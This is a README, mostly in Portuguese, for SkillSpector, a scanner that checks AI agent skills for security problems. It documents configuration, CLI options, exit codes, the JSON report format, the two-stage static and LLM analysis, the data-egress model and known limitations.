SKILLSPECTOR_MODEL_REGISTRYSubstitui o registro YAML por provedor incluído (src/skillspector/providers/<provider>/model_registry.yaml) por um caminho personalizado.Opcional
SKILLSPECTOR_LOG_LEVELNível de log: DEBUG, INFO, WARNING, ERROR (padrão: WARNING).Opcional

Provedores CLI (claude_cli, codex_cli): Nenhuma chave de API é necessária. A autenticação é gerenciada inteiramente pela sessão de login do próprio CLI do agente (claude auth login / codex login). O SkillSpector nunca lê nem encaminha chaves de API quando esses provedores estão ativos. O subprocesso é executado em um sandbox endurecido: ferramentas desabilitadas, sem MCP, modo sandbox somente leitura (codex), e conteúdo de skill não confiável é entregue apenas via stdin.

Opções de CLI```bash

skillspector scan --help

Options: -f, --format [terminal|json|markdown|sarif] Output format [default: terminal] -o, --output PATH Output file path --no-llm Skip LLM analysis (static only) --yara-rules-dir PATH Extra YARA rules directory -b, --baseline PATH Suppress findings listed in a baseline --show-suppressed List baseline-suppressed findings -V, --verbose Show detailed progress --help Show this message and exit

Generate a baseline of all current findings (see docs/SUPPRESSION.md)

skillspector baseline [-o FILE] [--no-llm] [--reason TEXT]

## Integrando o SkillSpector

O SkillSpector é projetado para ser controlado por outras ferramentas (pipelines de CI, portões de instalação, integrações de editores). Seu código de saída e saída JSON são um contrato estável.

### Códigos de saída

`skillspector scan` sai com:

| Código | Significado |
|------|---------|
| `0` | Varredura concluída, `risk_score` ≤ 50 (recomendação `SAFE` ou `CAUTION`) |
| `1` | Varredura concluída, `risk_score` > 50 (recomendação `DO_NOT_INSTALL`) |
| `2` | Erro (entrada inválida, fonte ilegível, falha interna) |

> O código de saída reduz `SAFE` e `CAUTION` para `0`. Para agir de forma diferente sobre eles (por exemplo, *avisar* em `CAUTION` mas *bloquear* em `DO_NOT_INSTALL`), leia o campo `recommendation` da saída JSON em vez de depender do código de saída.

### Saída legível por máquina

`--format json` produz um relatório JSON; sem `--output`/`-o`, ele é gravado na saída padrão (stdout):```bash
skillspector scan ./my-skill/ --format json

The top-level shape is (this example shows a full LLM-backed scan; with --no-llm, metadata.llm_requested is false):```json { "skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" }, "risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" }, "components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ], "issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ], "metadata": { "has_executable_scripts": false, "skillspector_version": "...", "llm_requested": true, "llm_available": true, "inference_usage": [ { "node": "semantic_security_discovery", "request_kind": "structured_output", "provider": "nv_inference", "model": "azure/anthropic/claude-opus-4-6", "model_source": "provider_response", "usage_source": "provider_response", "prompt_tokens": 1000, "completion_tokens": 100, "cached_tokens": 400, "cache_write_tokens": 50, "total_tokens": 1100 } ] } }

- `risk_assessment.severity` ∈ `LOW | MEDIUM | HIGH | CRITICAL`.
- `risk_assessment.recommendation` ∈ `SAFE | CAUTION | DO_NOT_INSTALL`, mapeado a partir da severidade: `LOW → SAFE`, `MEDIUM → CAUTION`, `HIGH`/`CRITICAL → DO_NOT_INSTALL`.
- `metadata.llm_error` aparece apenas quando a análise por LLM foi solicitada, mas não estava disponível.
- `metadata.inference_usage` contém um registro saneado por resposta de LLM quando o
  provedor expõe contadores de tokens. É uma lista vazia quando o uso não está disponível;
  o SkillSpector nunca estima tokens ausentes. Os totais de prompt incluem leituras
  e gravações de cache, para que a precificação a jusante possa separar essas partições com segurança.
  `model_source` distingue um modelo de provedor identificado de forma independente do
  modelo exato solicitado usado quando a identidade da resposta está ausente ou é ambígua.
  O SkillSpector atualmente não envia controles de cache de prompt da Anthropic, portanto, suas
  solicitações de varredura não podem selecionar os níveis separados de gravação de cache de 5 minutos ou 1 hora;
  os campos de resposta específicos de TTL são normalizados defensivamente no contador
  agregado de gravação de cache.
- Consulte [Telemetria de uso de inferência](https://github.com/nvidia/skillspector/blob/main/docs/INFERENCE_USAGE.md) para obter a
  proveniência completa, contabilidade de cache, privacidade, ingestão com falha fechada e o
  contrato de precificação a jusante.
- O formato completo por problema é definido por `Finding.to_dict()` em [models.py](https://github.com/nvidia/skillspector/blob/main/src/skillspector/models.py); confie nos campos acima e trate quaisquer campos adicionais como melhor esforço.

Para ferramentas de CI/IDE, `--format sarif` emite SARIF 2.1.0.

### Mapeamento de gate recomendado

Ao usar o SkillSpector como um gate de instalação, mapeie a recomendação para uma ação:

| `recommendation` | Ação sugerida |
|------------------|------------------|
| `SAFE` | permitir |
| `CAUTION` | solicitar / avisar o usuário |
| `DO_NOT_INSTALL` | bloquear |

O SkillSpector calcula a faixa de pontuação e a recomendação; o quão rígido é o gate (por exemplo, se `CAUTION` bloqueia em CI) é uma decisão de política para a ferramenta integradora.

## Desenvolvimento

### Configuração

Todos os alvos `make` pressupõem que um ambiente virtual já foi criado e ativado. O Makefile usa **uv** se disponível, caso contrário, **pip**.```bash
# Clone, create venv, activate, install dev dependencies
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
# or: python3 -m venv .venv && source .venv/bin/activate
make install-dev

# Run tests
make test

# Run tests with coverage
make test-cov

# Run linting
make lint

# Format code
make format

Como Funciona

O SkillSpector usa um pipeline de detecção em duas etapas:

Etapa 1: Análise Estática

  • Correspondência rápida baseada em regex em 11 analisadores estáticos
  • Análise comportamental baseada em AST que detecta chamadas perigosas (exec, eval, subprocess, etc.)
  • Consultas de vulnerabilidades em tempo real via OSV.dev para CVEs conhecidas em dependências
  • Verifica todos os arquivos elegíveis para análise no skill
  • Alta revocação (captura a maioria dos problemas)
  • Precisão moderada (alguns falsos positivos)

Uma assinatura válida de Model Signing OpenSSF de nível raiz (skill.oms.sig) é mantida no inventário de componentes como tipo oms_signature, mas excluída da análise estática e de conteúdo LLM. Pacotes OMS necessariamente contêm campos longos de payload, assinatura e certificado codificados em base64; verificações genéricas de código ofuscado podem, de outra forma, classificar incorretamente esses campos como conteúdo executável oculto. O reconhecedor verifica a estrutura mínima de OMS DSSE/in-toto; ele não verifica a assinatura, a cadeia de certificados, a entrada no log de transparência ou a identidade do signatário. Arquivos de assinatura inválidos ou não reconhecidos são verificados normalmente.

Etapa 2: Análise Semântica LLM (Opcional)

  • Avalia contexto e intenção
  • Filtra falsos positivos
  • Fornece explicações legíveis por humanos
  • Melhora a precisão para ~87%

O prompt do LLM inclui proteções anti-jailbreak para evitar que skills maliciosos manipulem a análise.

Consultas de Vulnerabilidades em Tempo Real (SC4)

O SC4 usa a API OSV.dev para verificar dependências em relação ao banco de dados completo de Vulnerabilidades de Código Aberto — cobrindo dezenas de milhares de avisos em PyPI e npm.

  • Nenhuma chave de API necessária — OSV.dev é gratuito e sem autenticação.
  • Consultas em lote — todas as dependências são verificadas em uma única chamada HTTP.
  • Fallback automático — se OSV.dev estiver inacessível (isolado/offline), uma pequena lista de fallback integrada é usada.
  • Cache — os resultados são armazenados em cache na memória por 1 hora para evitar chamadas de API redundantes durante uma sessão.

A ferramenta requer acesso HTTPS de saída a api.osv.dev para dados de vulnerabilidades em tempo real. Quando isso não está disponível, as descobertas são limitadas à lista de fallback estática.

Modelo de confiança e egresso de dados

O SkillSpector é defesa em profundidade, não um sandbox. Saiba o que ele faz e o que não faz antes de confiar nele:

  • Ele nunca executa o skill verificado. Toda a análise é estática (regex, AST Python, YARA) além de avaliação LLM opcional do conteúdo dos arquivos — o código do skill nunca é executado.
  • A análise LLM envia o conteúdo dos arquivos elegíveis para o provedor configurado. Quando a análise LLM está habilitada (o padrão), o conteúdo dos arquivos é enviado ao endpoint SKILLSPECTOR_PROVIDER ativo. Arquivos de assinatura OMS reconhecidos são excluídos. Use --no-llm para manter o conteúdo local (somente análise estática).
  • O SC4 envia nomes de dependências ao OSV.dev. A verificação da cadeia de suprimentos consulta OSV.dev com os nomes e versões de pacotes que o skill declara, para procurar CVEs conhecidas. Isso é fundamental para a verificação e é executado mesmo com --no-llm. Ele envia coordenadas de dependências (não conteúdo de arquivos), não requer chave de API e recorre a uma lista integrada quando OSV.dev está inacessível.
  • Ele não isola o host. O SkillSpector sinaliza padrões arriscados antes de você instalar um skill; ele não contém nem isola um skill que você escolher instalar mesmo assim.

Limitações

  • Conteúdo não-inglês: Pode não detectar padrões em outros idiomas
  • Ataques baseados em imagens: Não pode analisar texto em imagens
  • Código criptografado/binário: Não pode analisar conteúdo compilado ou criptografado
  • Comportamento em tempo de execução: Somente análise estática, sem execução dinâmica
  • SC4 offline: Sem acesso de rede a api.osv.dev, o SC4 usa uma pequena lista de fallback estática

Contexto de Pesquisa

Baseado na pesquisa "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale" (Liu et al., 2026):

  • Conjunto de dados: 42.447 skills de marketplaces importantes
  • Vulneráveis: 26,1% contêm pelo menos uma vulnerabilidade
  • Alta gravidade: 5,2% mostram provável intenção maliciosa
  • Descoberta principal: Skills com scripts executáveis têm 2,12x mais probabilidade de serem vulneráveis

Integração com a API Python```python

from skillspector import graph

Invoke the LangGraph workflow

result = graph.invoke({ "input_path": "/path/to/skill", "output_format": "json", # terminal, json, markdown, or sarif "use_llm": True, # False for static-only analysis })

Access results

print(f"Risk Score: {result['risk_score']}/100") print(f"Severity: {result['risk_severity']}") print(f"Recommendation: {result['risk_recommendation']}")

for finding in result["filtered_findings"]: print(f"[{finding['severity']}] {finding['rule_id']}: {finding['message']}")

## Licença

Apache License 2.0 — consulte [LICENSE](https://github.com/nvidia/skillspector/blob/main/LICENSE) para mais detalhes.

## Contribuições

Contribuições são bem-vindas! Leia as nossas diretrizes de contribuição e envie pull requests.

## Suporte

- **Problemas**: [GitHub Issues](https://github.com/NVIDIA/skillspector/issues)

Categorias